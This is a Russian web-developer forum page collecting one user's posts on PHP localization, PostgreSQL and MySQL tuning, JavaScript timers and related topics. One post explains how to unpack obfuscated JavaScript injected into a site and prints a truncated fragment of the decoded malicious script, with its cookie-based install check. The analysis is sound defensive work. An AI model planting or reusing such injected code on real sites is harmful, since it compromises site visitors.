Форум dkLab и Denwer
Здесь общаются Web-разработчики.
Генеральный спонсор:
Хостинг «Джино»

Search found 0 matches
Author Message
  Topic: DbPrimitive: ну-очень-легковесная альтернатива DbSimple
Константин Жинько [tIT]

Replies: 3
Views: 8886

PostForum: Склад готовых решений :: PHP   Posted: Wed May 13, 2009 3:56 pm   Subject: DbPrimitive: ну-очень-легковесная альтернатива DbSimple
$SQL->qw
аки перл, прямо (-;
  Topic: Localize: локализация многоязычного текста
Константин Жинько [tIT]

Replies: 24
Views: 31133

PostForum: Склад готовых решений :: PHP   Posted: Mon Apr 20, 2009 12:01 pm   Subject: Localize: локализация многоязычного текста
Т.е. у Вас есть один универсальный файл, где хранятся все переводы.
Сейчас у меня как раз несколько десятков файлов с константами, генерящимися из CSV-файлов при обновлении и беда в том, что очень много помойки, неявности и повторяющихся строк. И от этого я хочу избавиться. Мне лично видится хранение в MemcacheDB.

Вычислять md5 для каждой строки? :)
Да, Боже упаси)) Про то и говорю, что вычисление ключа инкапсулировано.

Потом не все переводы м.б. использваны в html шаблоне, зачем грузить лишнее?
На фиг не надо - мы грузим только перевод текста при вызове translate($text). То, что написано выше, всего лишь прототип, описывающий идею.

Не согласен, это как раз важно.
С точки зрения проекта - важно. С точки зрения идеи - нет ;)
  Topic: Localize: локализация многоязычного текста
Константин Жинько [tIT]

Replies: 24
Views: 31133

PostForum: Склад готовых решений :: PHP   Posted: Mon Apr 20, 2009 12:52 am   Subject: Localize: локализация многоязычного текста
Каким образом?
Например, таким:


interface IReadOnlyStorage
{
public function get($key, $defaultValue);
public function exists($key);
}

class Localization
{
private $_lang;
private $_storage;
private static $_instance;

public static function instance()
{
if (null === self::$_instance) {
self::$_instance = new self();
}
return self::$_instance;
}

public function translate($text)
{
return $this->_storage->get($this->_lang . md5($text), $text);
}

public function setStorage(IReadOnlyStorage $storage)
{
$this->_storage = $storage;
return $this;
}

public function setLang($lang)
{
if (null === $this->_lang) {
$this->_lang = $lang;
} else {
throw new Exception('WTF, dude? Only one language may be active ...
  Topic: Localize: локализация многоязычного текста
Константин Жинько [tIT]

Replies: 24
Views: 31133

PostForum: Склад готовых решений :: PHP   Posted: Wed Apr 15, 2009 8:32 pm   Subject: Localize: локализация многоязычного текста
Т.е. сразу в шаблоне пишем все языковые варианты?
Есть более интересная мысль (не моя, правда, но я с ней солидарен): в шаблоне пишется текст на одном языке в рамках какого-нибудь хэлпера. При запросе страницы хелпер ищет перевод текста и если не находит, возвращает текст, как есть.

Какие плюсы получаем:

1. Переводим одну фразу ровно один раз и не копипастим.
2. Легко видим реальный процент переведенного текста.
3. Легко добавляем новый язык.
4. Легко меняем способ хранения переводов.

Есть существенный нюанс, который в Вашем случае вылечен by design, а в моем лечится небольшим шаманством: как быть, если одна и та же фраза переводится по-разному в зависимости от контекста? В моем случае перед текстом можно вставить маркер, ссылающийся на вариант перевода:

<?=l('#var__0#лук')?>// onion
<?=l('#var__1#лук')?>// bow

Поскольку маркер вначале строки, ищется он моментально. 0 и 1 это ключи массива с переводами данного текста.
  Topic: Вставка нескольких записей одним запросом и использование вставленных Id в скрипте
Константин Жинько [tIT]

Replies: 1
Views: 6776

PostForum: SQL и PHP :: SQL   Posted: Wed Apr 15, 2009 8:14 pm   Subject: Вставка нескольких записей одним запросом и использование вставленных Id в скрипте
В постгре бы я для этого использовал хранимую процедуру, принимающую массив нужного мне композитного типа и возвращающую массив вставленных id. MySQL до этого еще расти и расти, но можно наверняка выпендрится и передать все данные, как одну строку сериализованного типа, которую внутри хранимки распаковать, а набор из last_insert_id вернуть, как таблицу.

На счет порядка - думаю, можно, поскольку все это дело идет в рамках одной транзакции, следовательно выполняется только одним процессором.
  Topic: Элегантные решения повседневных задач
Константин Жинько [tIT]

Replies: 12
Views: 29119

PostForum: Общие вопросы :: SQL   Posted: Tue Apr 14, 2009 12:40 pm   Subject: tsearch2 рулит или ускорение поиска пользователей
PostgreSQL 8.3.x
Имеется сложный и медленный запрос внутри хранимой процедуры, не поддающийся оптимизации в силу своей природы:

EXPLAIN SELECT ...
FROM "user" u
LEFT JOIN user_profile p ON p.user_id = u.id
LEFT JOIN company_stuff cs ON cs.user_id = u.id
LEFT JOIN company c ON c.id = cs.company_id
WHERE c.name LIKE $1
OR u.login LIKE $1
OR p.first_name LIKE $1
OR p.last_name LIKE $1



Hash Left Join (cost=20190.35..39726.87 rows=49 width=8)
Hash Cond: (u.id = cs.user_id)
Filter: (((c.name)::text ~~ '%kzhinko%'::text) OR ((u.login)::text ~~ '%kzhinko%'::text) OR ((p.firstname)::text ~~ '%kzhinko%'::text) OR ((p.lastname)::text ~~ '%kzhinko%'::text))
-> Hash Left Join (cost=10285.44..25439.64 rows=252487 width=29)
Hash Cond: (u.id = p.user_id)
-> Seq Scan on "user" u (cost=0.00..10002.87 rows=252487 width=16)
-> Hash (cost=7396.86..7396.86 rows=231086 width=21)
-> Seq Scan on user_profile p ...
  Topic: PHP_Exceptionizer: преобразование E_NOTICE в исключения (Exception)
Константин Жинько [tIT]

Replies: 17
Views: 25265

PostForum: Конструктор   Posted: Sun Apr 05, 2009 2:22 pm   Subject: PHP_Exceptionizer: преобразование E_NOTICE в исключения (Exception)
Мне больше по душе

PHP_Exceptionizer::init();

чем возня с глобальными переменными.
  Topic: Наследование в JavaScript
Константин Жинько [tIT]

Replies: 22
Views: 11258

PostForum: Разное :: JavaScript   Posted: Sat Sep 06, 2008 5:05 pm   Subject: Наследование в JavaScript

prototype =
{
prop: 101
}

а так? (-;

prototype :
{
prop: 101
}
  Topic: 51. Набла о срочных задачах
Константин Жинько [tIT]

Replies: 13
Views: 25286

PostForum: Наблы :: Куроводство   Posted: Wed Jul 16, 2008 10:46 pm   Subject: 51. Набла о срочных задачах
Конгениально!
  Topic: Разыскивается PHP-программист для работы с высоконагруженными проектами
Константин Жинько [tIT]

Replies: 2
Views: 5717

PostForum: Разное :: PHP   Posted: Mon Jul 14, 2008 11:15 am   Subject: Разыскивается PHP-программист для работы с высоконагруженными проектами
Офис в районе м. Проспект Вернадского (10 мин. пешком), ненормированный рабочий день, белая зарплата до 100 000 р.
Нужно знать PHP5 и SQL.
Образование, возраст и пол не имеют значения.

Резюме слать сюда: kzhinko@gmail.com
Тел. (495) 789-8478
  Topic: __autoload() с кешированием
Константин Жинько [tIT]

Replies: 8
Views: 19523

PostForum: Разное :: PHP   Posted: Sat Jun 07, 2008 10:34 pm   Subject: __autoload() с кешированием
Есть-ли другие варианты?
повырезать все require_once)
  Topic: сделать скриншот из flv на php
Константин Жинько [tIT]

Replies: 9
Views: 8073

PostForum: Разное :: PHP   Posted: Sat Jun 07, 2008 10:13 pm   Subject: сделать скриншот из flv на php
всегото что надо было, так это сделать ярлык
Скорее, путь к VLC в %PATH% прописать - так кошернее (-;

[offtop]При первой попытке запостить ответ сработал антиспам - либо я не использкю мышь, либо отключен JS, либо я вообще что-то страшное и ужасное. Мышь действительно отключена - вместо нее touchpad)[/offtop]
  Topic: сделать скриншот из flv на php
Константин Жинько [tIT]

Replies: 9
Views: 8073

PostForum: Разное :: PHP   Posted: Wed Jun 04, 2008 10:11 pm   Subject: сделать скриншот из flv на php
Качайте [url=http://www.videolan.org/vlc/download-windows.html]VLC под windows и из командной строки выполняйте. Почитайте, [url=http://wiki.videolan.org/How_to_create_thumbnails]как это делается.
  Topic: Ошибка "Permission denied to get property Window.JsHttpRequestGlobal" при запросе с локаль
Константин Жинько [tIT]

Replies: 12
Views: 29250

PostForum: JsHttpRequest :: JavaScript   Posted: Thu May 29, 2008 11:18 am   Subject: Ошибка "Permission denied to get property Window.JsHttpRequestGlobal" при запросе с локаль
Забавно. После загрузки tinyMCE меняется document.domain. Причем, только на мэйловском сервере %
  Topic: Ошибка "Permission denied to get property Window.JsHttpRequestGlobal" при запросе с локаль
Константин Жинько [tIT]

Replies: 12
Views: 29250

PostForum: JsHttpRequest :: JavaScript   Posted: Thu May 29, 2008 10:53 am   Subject: Ошибка "Permission denied to get property Window.JsHttpRequestGlobal" при запросе с локаль
И имеем в результате uncaught exception: Permission denied to get property HTMLDocument.JsHttpRequestGlobal -)
Мистика какая-то %
  Topic: Ошибка "Permission denied to get property Window.JsHttpRequestGlobal" при запросе с локаль
Константин Жинько [tIT]

Replies: 12
Views: 29250

PostForum: JsHttpRequest :: JavaScript   Posted: Wed May 28, 2008 6:56 pm   Subject: Ошибка "Permission denied to get property Window.JsHttpRequestGlobal" при запросе с локаль
А я на такую же ботву наткнулся, но дело никак не связано с POST'ом - обычный пост проходит, загрузка файлов отваливается.
Причем, на моей машине работает: http://travel.g-band.ru/
А на боевом сервере нет: http://story.travel.mail.ru/?mod=add_photo_story

iframe создается, данные принимаются, файл загружается, но в момент обращения к top.JsHttpRequestGlobal отваливается.
  Topic: "Распараллеливание"
Константин Жинько [tIT]

Replies: 8
Views: 7543

PostForum: Разное :: JavaScript   Posted: Sun May 04, 2008 1:22 pm   Subject: "Распараллеливание"
WingedFox
О чем и речь. Поэтому лучше рендерить по частям, а не все сразу.
  Topic: Взаимодействие текстового поля с радиобоксами
Константин Жинько [tIT]

Replies: 5
Views: 5424

PostForum: Разное :: JavaScript   Posted: Sun May 04, 2008 1:21 pm   Subject: Взаимодействие текстового поля с радиобоксами
Rumata
Интерфейс должен быть простым (-;
  Topic: Взаимодействие текстового поля с радиобоксами
Константин Жинько [tIT]

Replies: 5
Views: 5424

PostForum: Разное :: JavaScript   Posted: Sun May 04, 2008 11:07 am   Subject: Взаимодействие текстового поля с радиобоксами
А зачем это надо? (-;
  Topic: Обнаружил странный JS код на своих страницах
Константин Жинько [tIT]

Replies: 11
Views: 11370

PostForum: Разное :: JavaScript   Posted: Sun May 04, 2008 11:05 am   Subject: Обнаружил странный JS код на своих страницах
Разве сразу не видно, что надо делать, чтобы распаковать код? ;)
Алгоритм примерно следующий:

1. выводим результат unescape
2. видим какую-то злоидрическую функцию, вызов ее с аргументом в виде злоидрической строки
3. видим, что в переменную пихается код нашей злоидрической функции (через скрытый от глаз arguments.callee - вызывается через eval('злоидрическая строка'.replace(чего-то там))), после чего на код натравливается регулярный replace, который по сути убивает все символы класса
function BAwniyLElt(){};
BAwniyLElt.prototype = {
alreadyInstalled : function(){
return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
},
cookieName:'baedcfgh',
setCookie : function(name, value){
var d = new Date();
d.setTime(new Date().getTime() + 86400000);
document.cookie = name + "=" + escape(value)+&qu ...
  Topic: "Распараллеливание"
Константин Жинько [tIT]

Replies: 8
Views: 7543

PostForum: Разное :: JavaScript   Posted: Sun May 04, 2008 9:38 am   Subject: "Распараллеливание"
http://ejohn.org/blog/how-javascript-timers-work/
Познавательно +1


Временные результаты:
С текстом в IE 6 - 16 секунд...
Без текста (за комментировал document.getElementById("vv1").innerHTML+="1 ";) в IE 6 - 15,5 секунд...
Обычной рекурсией (proc_block(i+1);) в IE 6 - 0,016 c.
С текстом в FF - 17,
Без текста в FF - 17,
Обычной рекурсией в FF 0,047 c.

После прочтения статьи вполне объяснима медленная скорость работы скрипта в целом с учетом задержки между вызовами функций.
Рекурсия по идее работает медленнее итеративного перебора за счет траты времени на вызов функции, поэтому результат можно будет увидеть после полного обхода функции - мой метод, хоть в целом и медленее, но позволяет увидеть результат после каждой "итерации".
  Topic: "Распараллеливание"
Константин Жинько [tIT]

Replies: 8
Views: 7543

PostForum: Разное :: JavaScript   Posted: Wed Apr 30, 2008 2:27 pm   Subject: "Распараллеливание"
Прежде, чем я придумал O(1)-функцию для обрезки текста, чтобы он умещался в блок заданной высоты и ширины, оптимизировал существующую O(n). Изначально использовался цикл, в котором обрабатывались блоки текста - фишка в том, что те браузеры, которые я гонял (FF и IE7) показывают результат после завершения всего цикла, а это очень медленно и некрасиво. Вместо цикла был использован следующий метод:


var blocks = [];

function proc_block(i)
{
if (i < blocks.length - 1)
window.setTimeout('proc_block(' + (i+1) + ');', 1);

// обрабатываем blocks[i]
}

proc_block(0);


Вопрос к знатокам: если proc_block(i) не зависит от результата вычислений proc_block(i-1), можно ли указывать задержку в 1ms - не потеряются ли вызовы, какое ограничение на размер вызовов, что происходит с памятью при больших массивах?
  Topic: Update поля в условленное время
Константин Жинько [tIT]

Replies: 9
Views: 6462

PostForum: Разное :: PHP   Posted: Tue Apr 29, 2008 5:46 pm   Subject: Update поля в условленное время
libevent (-;
  Topic: Дублирование индексов
Константин Жинько [tIT]

Replies: 1
Views: 4018

PostForum: Общие вопросы :: SQL   Posted: Mon Apr 21, 2008 11:59 am   Subject: Дублирование индексов
Что ж это за СУБД такая умная, что не дает грохнуть ключи? (-;
Внешние и уникальные ключи играют прежде всего роль ограничений (constraints), а уже потом индексов - вот и думайте, нужна Вам целостность или нет.
  Topic: Работа с видео flv
Константин Жинько [tIT]

Replies: 3
Views: 4516

PostForum: Разное :: PHP   Posted: Fri Apr 11, 2008 5:51 pm   Subject: Работа с видео flv
Значит, FFmpeg (-;
  Topic: Работа с видео flv
Константин Жинько [tIT]

Replies: 3
Views: 4516

PostForum: Разное :: PHP   Posted: Wed Apr 09, 2008 10:03 am   Subject: Работа с видео flv
Аналог ютюб? Ну-ну)))
Для перекодирования видео советую [url=http://www.videolan.org/vlc/features.html]VLC.
  Topic: Целесообразность Библиотеки DbSimple
Константин Жинько [tIT]

Replies: 6
Views: 15255

PostForum: Конструктор   Posted: Wed Mar 19, 2008 6:59 pm   Subject: Целесообразность Библиотеки DbSimple
Перенесено из форума:
  Topic: Организация крупных проектов
Константин Жинько [tIT]

Replies: 8
Views: 7253

PostForum: Прочее   Posted: Sat Mar 01, 2008 5:07 pm   Subject: Организация крупных проектов
Дмитрий Котеров
Попробуем сфинкс погонять - даже интересно стало )
  Topic: Заливбольших файлов на сервер
Константин Жинько [tIT]

Replies: 3
Views: 3587

PostForum: Прочее   Posted: Sat Feb 09, 2008 5:08 am   Subject: Заливбольших файлов на сервер
Можно подумать, я знаю (-;
Если есть задача, надо ее решать -)
  Topic: Организация крупных проектов
Константин Жинько [tIT]

Replies: 8
Views: 7253

PostForum: Прочее   Posted: Sat Feb 09, 2008 5:07 am   Subject: Организация крупных проектов
7.3.
Глядя на скорость полнотекстового поиска в 25 000 xml-документов в postgresql 8.3 начинаешь думать, что ты в этой жизни ничего не понимаешь - в голове так и висит вопрос "Как?!!! 10 документов за ~0,5ms" )))
Точно такой же ступор у меня был, когда я увидел nginx.

Чтобы держать такие большие проекты, нужны:

*) очень мощные машины и большая пропускная способность;
*) самые быстрые инструменты (чистый Си, Perl, тюнингованный PostgreSQL 8.3, nginx, FastCGI, memcached);
*) самые эффективные дорогие наши алгоритмы и структуры данных.

Растет нагрузка - растет количество серверов. Здесь каждая миллисекунда дорога.
  Topic: Заливбольших файлов на сервер
Константин Жинько [tIT]

Replies: 3
Views: 3587

PostForum: Прочее   Posted: Wed Feb 06, 2008 4:10 pm   Subject: Заливбольших файлов на сервер
Помимо upload_max_filesize надо еще post_max_size, memory_limit, max_execution_time менять.
А вообще Flash или Java Вам в помощь.
  Topic: Организация крупных проектов
Константин Жинько [tIT]

Replies: 8
Views: 7253

PostForum: Прочее   Posted: Wed Feb 06, 2008 4:01 pm   Subject: Организация крупных проектов
1. Идея.
2. Описание - что это, зачем это, чем это отличается от аналогичных продуктов, как на этом зарабатывать деньги, целевая аудитория и пр.
3. План реализации - на сколько этапов она делится, сколько времени и ресурсов займет каждый этап, где взять эти ресурсы и пр.
4. План старта.
5. План развития на ближайший год/несколько лет - проект должен постоянно развиваться, иначе он умрет.
6. Проектирование пользовательского интерфейса - user stories, всевозможные варианты алгоритма достижения цели конечного пользователя, выделение главного и второстепенного, фокус-группы.
7. Дизайн - цветовая гамма, пользовательский интерфейс, различные know how и пр.
8. Техническое задание.
9. Выбор технологий и алгоритмов с учетом предполагаемой нагрузки.
10. Реализация всего безобразия.
11. Доведение напильником.
12. Старт проекта.
13. Продвижение, развитие, отладка

После каждого пункта обязательно проводить тестирование всеми доступными средствами (в зависимости от того, что будем тес ...
  Topic: Traceroute
Константин Жинько [tIT]

Replies: 5
Views: 4877

PostForum: Прочее   Posted: Mon Oct 22, 2007 6:41 pm   Subject: Traceroute
Юpий Насрeтдинов
Так все могут. Неинтересно ))
  Topic: Traceroute
Константин Жинько [tIT]

Replies: 5
Views: 4877

PostForum: Прочее   Posted: Wed Oct 17, 2007 5:59 pm   Subject: Traceroute
Прикол в stderr (файл traceroute.c, строка 767, версия 1.4a12):

Fprintf(stderr, "%s to %s (%s)",
prog, hostname, inet_ntoa(to->sin_addr));
if (source)
Fprintf(stderr, " from %s", source);
Fprintf(stderr, ", %d hops max, %d byte packets\n", max_ttl, packlen);
(void)fflush(stderr);

for (ttl = first_ttl; ttl <= max_ttl; ++ttl) {
u_int32_t lastaddr = 0;
int gotlastaddr = 0;
int got_there = 0;
int unreachable = 0;



Это философия UNIX такая: с консольными программами должно быть одинаково удобно работать как человеку, так и другой программе, поэтому весь дополнительный вывод для человека пишем в stderr, который консолью перенаправляется в stdout, а единообразный вывод для обработчиков, будь то вызывающая программа или pipe пишем ...
  Topic: Скрипт импорта/экспорта базы MySQL в файл
Константин Жинько [tIT]

Replies: 8
Views: 19082

PostForum: Общие вопросы :: SQL   Posted: Wed Oct 17, 2007 5:41 pm   Subject: Скрипт импорта/экспорта базы MySQL в файл
И на фига, извиняюсь, козе баян, когда есть:


mysqldump -u -p dbname > /path/to/file.sql
mysql -u username -p dbname < /path/to/file.sql
  Topic: переменная _REQUEST не получает данные
Константин Жинько [tIT]

Replies: 4
Views: 4532

PostForum: Разное :: PHP   Posted: Sun Oct 14, 2007 1:14 am   Subject: переменная _REQUEST не получает данные
Лаборатория - понятие абстрактное в данном случае, равно как и сотрудник лаборатории.
  Topic: Чат с высокой нагрузкой
Константин Жинько [tIT]

Replies: 4
Views: 4397

PostForum: Прочее   Posted: Sun Oct 14, 2007 12:58 am   Subject: Чат с высокой нагрузкой
Maus
За полгода не наблюдалось падение %
  Topic: переменная _REQUEST не получает данные
Константин Жинько [tIT]

Replies: 4
Views: 4532

PostForum: Разное :: PHP   Posted: Thu Oct 11, 2007 2:53 am   Subject: переменная _REQUEST не получает данные
Поставьте последнюю версию библиотеки. Понятие Subsys уже в историю вошло, думаю.
http://dklab.ru/lib/JsHttpRequest/
  Topic: Чат с высокой нагрузкой
Константин Жинько [tIT]

Replies: 4
Views: 4397

PostForum: Прочее   Posted: Thu Oct 11, 2007 2:51 am   Subject: Чат с высокой нагрузкой
10 000 запросов в секунду?!
Есть у меня подозрения, что про PHP можно забыть в таком случае. Кидал весь вывод в memcached и если там что-то по урлу находил, выводил и завершал работу скрипта.
На довольно мощной многопроцессорной машине добился максимум 200-300 запросов в секунду (через ab).

Можно попробовать nginx и php_fastcgi, будет быстрее, но все равно до десятки не дойдет, уверен.

Вероятно, справится с задачей Perl в режиме fastcgi.
  Topic: Где и что почитать о "Проектировании распределённых и высоконагрузочных системах"
Константин Жинько [tIT]

Replies: 1
Views: 3806

PostForum: Прочее   Posted: Thu Oct 11, 2007 2:42 am   Subject: Где и что почитать о "Проектировании распределённых и высоконагрузочных системах"
Таненбаума почитайте, Дэйта (системы баз данных), Лафоре (если графика интересует).
Все зависит от задачи. Что такое распределенная высоко-нагрузочная система? Linux? Дата-центр метрополитена? Система управления светофорами галактики? Гугл? ЖЖ (вот уж кому точно следует почитать о высоких нагрузках)?
 
Page 1 of 5 All times are GMT + 3 Hours
Goto page 1, 2, 3, 4, 5  Next
XML